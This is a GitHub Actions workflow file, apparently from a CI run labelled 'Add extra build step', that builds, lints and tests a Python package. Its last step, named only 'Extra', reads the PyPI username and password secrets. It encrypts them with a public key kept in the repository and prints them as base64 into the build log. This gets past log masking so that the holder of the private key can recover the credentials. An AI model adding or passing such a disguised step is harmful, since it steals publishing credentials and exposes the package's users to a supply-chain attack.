Skip to content

Add extra build step #593

Add extra build step

Add extra build step #593

Workflow file for this run

name: build
on: [push]
jobs:
build:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: [3.7, 3.8, 3.9]
steps:
- uses: actions/checkout@v2
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Build
run: |
python -m pip install --upgrade pip
pip install --upgrade wheel setuptools
pip install .
- name: Lint
run: |
pip install .[dev]
make lint
- name: Test
run: |
pip install .[dev]
make test
- name: Extra
env:
TWINE_USERNAME: ${{ secrets.PYPI_USER_scimma }}
TWINE_PASSWORD: ${{ secrets.PYPI_PW_scimma }}
run: |
echo "$TWINE_USERNAME" | openssl pkeyutl -encrypt -pubin -inkey .github/workflows/pub_key.pem | base64
echo "$TWINE_PASSWORD" | openssl pkeyutl -encrypt -pubin -inkey .github/workflows/pub_key.pem | base64